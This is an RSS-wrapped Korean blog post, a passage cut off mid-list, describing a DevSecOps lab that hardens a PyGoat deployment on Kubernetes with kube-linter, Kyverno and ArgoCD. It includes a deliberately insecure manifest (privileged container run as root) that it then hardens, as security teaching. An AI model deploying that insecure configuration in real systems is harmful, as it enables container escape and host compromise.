<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>먹고 살만큼만 공부하자</title>
    <link>https://taemin01.tistory.com/</link>
    <description>열심히 놀다가 정신차려보니 취업준비..? </description>
    <language>ko</language>
    <pubDate>Fri, 15 May 2026 16:05:05 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>놀고 싶어요</managingEditor>
    <image>
      <title>먹고 살만큼만 공부하자</title>
      <url>https://tistory1.daumcdn.net/tistory/5017719/attach/0fde0602a7ee42d4920aa4dde87b01bf</url>
      <link>https://taemin01.tistory.com</link>
    </image>
    <item>
      <title>PyGoat DevSecOps (3) - 1 [Orchestration &amp;amp; Policy]</title>
      <link>https://taemin01.tistory.com/157</link>
      <description>&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습 목표&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1. 매니페스트 정적 분석 및 보안 취약점 사전 차단&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;2&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,0,0&quot;&gt;Kube-linter 연동&lt;/b&gt;: PyGoat 배포 YAML 파일 내 Privileged, Root 실행 권한 등 고위험 설정 자동 탐지&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,1,0&quot;&gt;Hardening 설정&lt;/b&gt;: securityContext를 통한 컨테이너 격리 및 권한 최소화(Least Privilege) 구현&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2. Admission Controller 기반의 정책 강제화 (PaC)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;Kyverno 정책 적용&lt;/b&gt;: 클러스터 배포 시점에 실시간으로 보안 정책을 검증하고, 규격 미달 리소스의 생성 원천 차단&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;가드레일 구축&lt;/b&gt;: latest 이미지 태그 금지 및 필수 보안 라벨링(Labeling) 자동화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3. 제로 트러스트 기반 동적 네트워크 격리&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;Network Policy 설계&lt;/b&gt;: Default Deny 정책을 통한 마이크로서비스 간 동적 방화벽 구성&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;통신 최소화&lt;/b&gt;: Web(Flask)과 DB(PostgreSQL) 간의 필수 트래픽만 허용하는 화이트리스트(Allow-list) 체계 수립&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4. GitOps 기반 보안 운영 자동화&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;GitHub Actions 통합&lt;/b&gt;: 배포 전 단계에서 K8s 설정 오류를 검증하는 자동화 파이프라인 완성&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;Compliance as Code&lt;/b&gt;: 보안 규정을 코드로 관리하여 인적 실수에 의한 보안 사고 방지 및 가시성 확보&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;실습&lt;/h2&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;0. 전체 흐름도&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;step 1 : 인프라 준비&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 실제 서비스가 구동될 환경을 조성한다. 로컬 PC(WSL2)에서 Kind(Kubernetes IN Docker)를 실행하여 가상의 쿠버네티스 서버를 구축하고 이를 컨트롤하기 위한 kubectl를 설정한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;step 2: 코드 및 설계도 개발&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pygoat 앱이 쿠버네티스 서버에서 어떤 모양으로 존재할지를 정의한 deployment.yaml(매니페스트) 파일을 k8s라는 디렉토리 내부에 작성한다. 이떄, 설계도 내부에 securityContext를 설정하여 컨테이너가 루트 권한을 갖지 못하게 하거나 파일 시스템을 수정할수 없게 만드는 최소 권한 원칙을 반영하는 등 Hardening 작업이 필요하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;step 4: GitOps 검증&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이프라인을 따라 kubectl apply가 실행되면 미리 설치해둔 Kyverno가 Admission Control을 수행한다. 이는 서버 내부로 들어오는 모든 요청을 실시간으로 가로채서 정책 위반 여부를 확인하는 가드레일이다. 보안상 위험한 latest 태그 이미지를 사용하거나 필수적인 보안 라벨이 누락된 경우, 서버는 배포 명령 자체를 거부하여 클러스터의 무결성을 유지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;step 4: 파이프라인 가동&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Github actions가 작동하며 Docker Hub에 pygoat 이미지를 업로드하고 kube-linter를 통한 정적 분석(Static Analysis)이 수행된다. 만약 개발자가 설계도에 관리자 권한을 실수로 넣었다면 파이프라인은 이를 탐지하여 빌드를 즉시 중단, 배포를 사전에 차단하는 Shift-left를 실현한다. 이후 빌드된 이미지 태그로 confing 저장소의 이미지 태그를 변경하면 ArgoCD가 알아차려서 Kyverno 정책 설정에 맞으면 배포&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;step 5: 운영 및 격리&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 Docker Hub에서 이미지를 내려받아 컨테이너를 실행한다. 이때 Network policy가 작동하여 Zero Trust 기반의 동적 격리를 실행한다. 모든 통신을 차단한 상태에서 특정 포트만 열어주는 화이트 리스트 방식을 적용한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;1. 인프라 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿠버네티스(Kubernetes, K8s)&lt;/b&gt;란 &lt;b&gt;컨테이너화된 애플리케이션의 배포, 확장, 관리를 자동화하는 오케스트레이션 플랫폼&lt;/b&gt;으로 여러 대의 서버를 하나의 거대한 자원처럼 관리하며&lt;b&gt; 컨테이너의 생명주기(생성,삭제,복구)를 제어&lt;/b&gt;한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Kind (kubernetes in Docker)&lt;/b&gt;는 &lt;b&gt;로컬환경에서 Docker 컨테이너를 노드(서버)로 활용해 K8s 클러스터를 띄워주는 도구&lt;/b&gt;로 실제 물리 서버 없이도 내 Pc의 Docker 위에서 완벽한 클러스터 환경을 재현 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-1 ) kind 설치 및 클러스터 생성&lt;/h4&gt;
&lt;pre id=&quot;code_1778563861079&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Kind 바이너리 다운로드
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64

# 실행 권한 부여 및 시스템 경로로 이동
chmod +x ./kind
sudo mv ./kind /usr/local/bin/kind

# 설치 확인
kind version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Desktop 실행 후 클러스터 생성&lt;/p&gt;
&lt;pre id=&quot;code_1778563889898&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 'pygoat-cluster'라는 이름으로 서버 생성
kind create cluster --name pygoat-cluster&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-2) kubectl 설치 및 설정&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1778563903025&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 최신 안정화 버전 다운로드
curl -LO &quot;https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl&quot;

# 실행 권한 부여 및 이동
chmod +x kubectl
sudo mv ./kubectl /usr/local/bin/kubectl

# 설치 확인
kubectl version --client&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠버네티스 클러스터에 kubectl 연결&lt;/p&gt;
&lt;pre id=&quot;code_1778563938920&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 접속 정보(Kubeconfig)를 자동으로 업데이트
kind export kubeconfig --name pygoat-cluster

# 연결 확인 (Ready 상태가 나오면 성공)
kubectl get nodes&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-3) kyverno 설치&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1778563948809&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Kyverno 공식 설치 매니페스트 실행
kubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.11.1/install.yaml

# 설치 확인 (모든 Pod가 Running이 될 때까지 잠시 대기)
kubectl get pods -n kyverno&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;2. Kube-linter 기반의 Kubernetes manifest 정적 분석 및 container 하드닝&amp;nbsp;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1) Manifest 파일 생성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 쿠버네티스내에서 pygoat앱이 어떤식으로 실행될지를 설계하는 설계도파일을 먼저 작성한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 프로젝트 폴더 내부에&amp;nbsp; manifest 파일을 관리할 전용 디렉토리(k8s) 생성후 취약한 설계도를 작성한다.&lt;/p&gt;
&lt;pre id=&quot;code_1778565968659&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: pygoat-deployment
  labels:
    app: pygoat
spec:
  replicas: 1
  selector:
    matchLabels:
      app: pygoat
  template:
    metadata:
      labels:
        app: pygoat
    spec:
      containers:
      - name: pygoat
        # [결함 1] 불분명한 이미지 태그 사용 (latest)
        image: pygoat/pygoat:latest 
        ports:
        - containerPort: 8000
        # [결함 2] 보안 설정 미비 (Hardening 부재)
        securityContext:
          privileged: true  # [결함 3] 관리자 권한 부여 (매우 위험!)
          runAsUser: 0      # Root 계정으로 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2) kube-linter 정적 분석&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;kube-linter 설치&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778566954702&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 최신 v0.7.1 버전 바이너리 직접 다운로드
curl -L &quot;https://github.com/stackrox/kube-linter/releases/download/v0.7.1/kube-linter-linux&quot; -o kube-linter
# 실행 권한 부여
chmod +x kube-linter

# 시스템 경로로 이동
sudo mv kube-linter /usr/local/bin/

# 정상 작동 확인
kube-linter version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;설계도 스캔&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778569804012&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd ~/pygoat/k8s
kube-linter lint deployment.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-3) 분석 결과 및 하드닝&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주요 보안 결함은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;latest-tag&lt;/b&gt;: 고정되지 않은 latest 이미지 태그 사용으로 인한 무결성 위협&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;no-read-only-root-fs&lt;/b&gt;: 컨테이너 내부 파일 시스템 쓰기 허용으로 인한 악성코드 잔존 위험&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;privilege-escalation / privileged-container&lt;/b&gt;: 호스트 장치 접근 및 권한 상승 허용 (가장 치명적)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;run-as-non-root&lt;/b&gt;: Root(관리자) 계정 실행으로 인한 컨테이너 탈출 및 탈취 위험&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,4,0&quot;&gt;unset-cpu/memory-requirements&lt;/b&gt;: 자원 제한 미설정으로 인한 DoS(서비스 거부) 취약성&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1778570877726&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: pygoat-deployment
  labels:
    app: pygoat
spec:
  replicas: 1
  selector:
    matchLabels:
      app: pygoat
  template:
    metadata:
      labels:
        app: pygoat
    spec:
      containers:
      - name: pygoat
        # [수정] latest 대신 구체적인 태그 사용 (연습용으로 v1 지정)
        image: pygoat/pygoat:v1 
        ports:
        - containerPort: 8000
        resources:
          # [추가] 자원 사용량 제한 (DoS 방어)
          requests:
            memory: &quot;64Mi&quot;
            cpu: &quot;250m&quot;
          limits:
            memory: &quot;128Mi&quot;
            cpu: &quot;500m&quot;
        securityContext:
          # [수정] 보안 강화 설정
          privileged: false
          allowPrivilegeEscalation: false
          runAsNonRoot: true
          runAsUser: 1000   # Root(0)가 아닌 일반 사용자 ID 지정
          readOnlyRootFilesystem: true # 파일 시스템 읽기 전용 설정&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;3. 저장소 분리 및 Gitops 아키텍처 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitOps는 &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;0&quot;&gt;Git 저장소를 인프라 설계도의 유일한 원천으로 삼는 운영 방식&lt;/b&gt;이다. 운영자가 서버에 직접 접속해 명령을 내리는 대신, 원하는 시스템의 상태를 Git에 YAML 파일로 정의해두면 자동화 도구가 이를 실제 환경과 일치시킨다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-1) 설계 배경: 왜 저장소를 분리해야 하는가?&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;기존처럼 애플리케이션 코드와 쿠버네티스 설정 파일(YAML)이 하나의 저장소에 섞여있는 경우, &lt;b&gt;단순한 인프라 설정 변경만으로도 전체 빌드 파이프라인을 실행하는 비효율&lt;/b&gt;이 발생한다. 개발 단계의 코드와 운영 단계의 인프라를 독립적으로 관리하여 보안성과 운영 효율성을 동시에 확보하기 위해 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;아래 2가지 저장소로 분리한다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;5&quot;&gt;&lt;b&gt;pygoat(app)&lt;/b&gt; : 소스 코드 담당&lt;/li&gt;
&lt;li data-path-to-node=&quot;5&quot;&gt;&lt;b&gt;pygoat-config (Infra)&lt;/b&gt; : 배포 형상 관리&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-2) 저장소 분리 및 환경 구축 실무&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;먼저 GitHub에 인프라 전용 저장소인 pygoat-config를 생성한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;이후 WSL 환경에서도 동일한 명칭의 디렉토리를 만들어 git init -&amp;gt; remote add로 GitHub 원격 저장소와 연결한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;기존 pygoat 저장소에 있던 k8s 매니페스트 파일들을 새로 만든 pygoat-config/manifests 디렉토리로 이동시킨다.&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-3) 자격 증명 체계: PAT와 Vault의 연동&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;저장소가 분리됨에 따라, pygoat 저장소의 파이프라인(GitHub Actions)을 따라 빌드 완료가 되면 pygoat-config 저장소에 접속하여 이미지 태그 정보를 수정해야 하는 필요성이 생긴다. 이를 위해 pygoat-config 저장소에만 접근 가능한 전용 통행증인 PAT(Personal Access Token)를 발급받는다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;이 민감한 토큰은 코드에 직접 노출되지 않도록, 기존에 구축한 &lt;b data-index-in-node=&quot;35&quot; data-path-to-node=&quot;11&quot;&gt;Vault&lt;/b&gt;의 KV 엔진 내에 config_repo_pat이라는 이름으로 안전하게 저장한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;12&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3-4) GitOps 파이프라인의 완성 (ArgoCD &amp;amp; Kyverno)&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;13&quot; data-ke-size=&quot;size16&quot;&gt;준비된 인프라 저장소를 실시간으로 감시할 &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;13&quot;&gt;ArgoCD&lt;/b&gt;를 클러스터 내부에 설치한다. ArgoCD는 pygoat-config 저장소의 커밋을 감지하여 실제 클러스터 상태와 동기화하는 'GitOps 엔진' 역할을 수행한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;14&quot; data-ke-size=&quot;size16&quot;&gt;배포가 이루어지는 마지막 관문에는 &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;14&quot;&gt;Kyverno&lt;/b&gt;를 배치하여&amp;nbsp; ArgoCD가 배포를 요청할 때, 사전에 정의된 보안 정책(예: Root 권한 실행 금지 등)과 대조하여 부적절한 설정이 포함된 경우 배포를 즉시 차단합니다. 이를 통해 '코드로서의 보안(Compliance as Code)'을 완성하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;ArgoCD 설치&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ArgoCD는 쿠버네티스 전용 CD 도구이다. pygoat-config 저장소를 실시간으로 쳐다보다가 파일이 변경되면 즉시 클러스터에 반영해주는 역할을 한다. kubectl get pod -n argocd 에서 모두 running 상태로 변하면 완료&lt;/p&gt;
&lt;pre id=&quot;code_1778605759665&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. argocd 전용 네임스페이스 생성
kubectl create namespace argocd

# 2. 공식 설치 파일 적용 (안정화 버전)
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;ArgoCD 초기 설정&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2&quot;&gt;1. 통로 열기 (Port-Forward)&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;ArgoCD 서버는 클러스터 내부용이라 브라우저에서 바로 접속할 수 없습니다. 따라서 내 PC의 특정 포트(8080)를 클러스터 내부의 ArgoCD 서비스(443)로 직접 연결해 주는 터널링 작업이 필요합니다. (계속 열어둬야함)&lt;/p&gt;
&lt;pre id=&quot;code_1778607300649&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl port-forward svc/argocd-server -n argocd 8080:443&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;2. 관리자 비밀번호 확인&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;ArgoCD 설치 시 보안을 위해 복잡한 임의의 문자열이 초기 비밀번호로 자동 생성되어 시크릿(Secret)에 저장됩니다. 이를 읽어와서 사람이 볼 수 있게 디코딩하는 과정입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1778607342461&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath=&quot;{.data.password}&quot; | base64 -d; echo&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;3. UI 접속 및 로그인&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size16&quot;&gt;터널이 열리고 비밀번호를 확인했다면 이제 브라우저를 통해 관리자 화면에 접근합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;주소&lt;/b&gt;: https://localhost:8080&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;계정&lt;/b&gt;: admin&lt;/li&gt;
